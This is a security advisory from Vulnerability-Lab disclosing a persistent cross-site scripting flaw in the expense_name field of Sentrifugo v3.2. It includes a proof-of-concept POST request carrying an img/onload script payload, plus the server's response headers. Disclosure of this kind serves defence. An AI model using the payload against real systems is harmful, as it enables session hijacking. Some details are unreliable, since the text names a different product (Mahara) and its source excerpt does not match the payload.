Sentrifugo v3.2 CMS - Persistent XSS Web Vulnerability

Document Title:
===============
Sentrifugo v3.2 CMS - Persistent XSS Web Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2229


Release Date:
=============
2020-05-04


Vulnerability Laboratory ID (VL-ID):
====================================
2229


Common Vulnerability Scoring System:
====================================
4.6


Vulnerability Class:
====================
Cross Site Scripting - Persistent


Current Estimated Price:
========================
1.000€ - 2.000€


Product & Service Introduction:
===============================
Sentrifugo is a FREE and powerful Human Resource Management System that can be easily configured to meet your organizational needs.
Sentrifugo offers HR resource modules with exceptional features and an intuitive interface. It's easy to set up, configure and use.

(Copy of the Homepage:  http://www.sentrifugo.com/ & http://www.sentrifugo.com/download )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent cross site scripting vulnerability in the Sentrifugo v3.2 CMS.


Affected Product(s):
====================
Sentrifugo
Product: Sentrifugo v3.2 - CMS (Web-Application)


Vulnerability Disclosure Timeline:
==================================
2020-05-05: Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Authentication Type:
====================
Restricted Authentication (Guest Privileges)


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Full Disclosure


Technical Details & Description:
================================
A persistent input validation web vulnerability has been discovered in the official Mahara v19.10.2 CMS web-application series.
The vulnerability allows remote attackers to inject own malicious script codes with persistent attack vector to compromise browser 
to web-application requests from the application-side.

The persistent vulnerability is located in the `expense_name` parameters of the `/expenses/expenses/edit` module in the `index.php` file.
Remote attackers with low privileges are able to inject own malicious persistent script code as expenses entry. The injected code can 
be used to attack the frontend or backend of the web-application. The request method to inject is POST and the attack vector is located 
on the application-side. Entries of expenses can be reviewed in the backend by higher privileged accounts as well.

Successful exploitation of the vulnerabilities results in session hijacking, persistent phishing attacks, persistent external redirects to 
malicious source and persistent manipulation of affected application modules.

Request Method(s):
[+] POST

Vulnerable Module(s):
[+] index.php/expenses/expenses/edit

Vulnerable Input(s):
[+] Expenses Name

Vulnerable File(s):
[+] index.php

Vulnerable Parameter(s):
[+] expense_name

Affected Module(s):
[+] index.php/expenses/expenses


Proof of Concept (PoC):
=======================
The persistent web vulnerability can be exploited by low privileged web application user account with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.


PoC: Vulnerable Source
<div id="maincontentdiv">	
<div id="dialog-confirm" style="display:none;">
<div class="newframe-div">
<div class="new-form-ui height32">
<div class="division">
<input type="text" maxlength="12" id="number_value" name="number_value"></div>
<span class="errors" id="errors-contactnumber"></span></div></div></div>								
<div id="empstatus-alert" style="display:none;">
<div class="newframe-div"><div id="empstatusmessage"></div></div></div>
<div id="empleaves-alert" style="display:none;">
<div class="newframe-div"><div id="empleavesmessage"></div></div></div>	


--- PoC Session Logs [POST] --- (Expenses Inject)
http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit
Host: sentrifugo.localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 352
Origin: http://sentrifugo.localhost:8080
Connection: keep-alive
Referer: http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit
Cookie: PHPSESSID=h67jk6dashpvgn5n3buc6uia87; _ga=GA1.2.788961556.1587849443; _gid=GA1.2.1158360779.1587849443
id=&limit=&offset=&parameter=all&currencyid=1&file_original_names=&file_new_names=&last_inserted_receipts=&receiptId=&expense_Id=&
expense_name=<img src="evil.source" onload=alert(document.domain)>&category_id=&project_id=&expense_date=&expense_currency_id=2&
expense_amount=&cal_amount=0&is_from_advance=&expense_payment_id=&expense_payment_ref_no=&trip_id=&description=&post_receipt_ids=&submit=Save
-
POST: HTTP/1.1 200 OK
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.10
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 19284
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html


Reference(s):
http://sentrifugo.localhost:8080/index.php
http://sentrifugo.localhost:8080/index.php/expenses
http://sentrifugo.localhost:8080/index.php/expenses/expenses/
http://sentrifugo.localhost:8080/index.php/expenses/expenses/edit


Credits & Authors:
==================
Vulnerability-Lab - https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri - https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


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=========================
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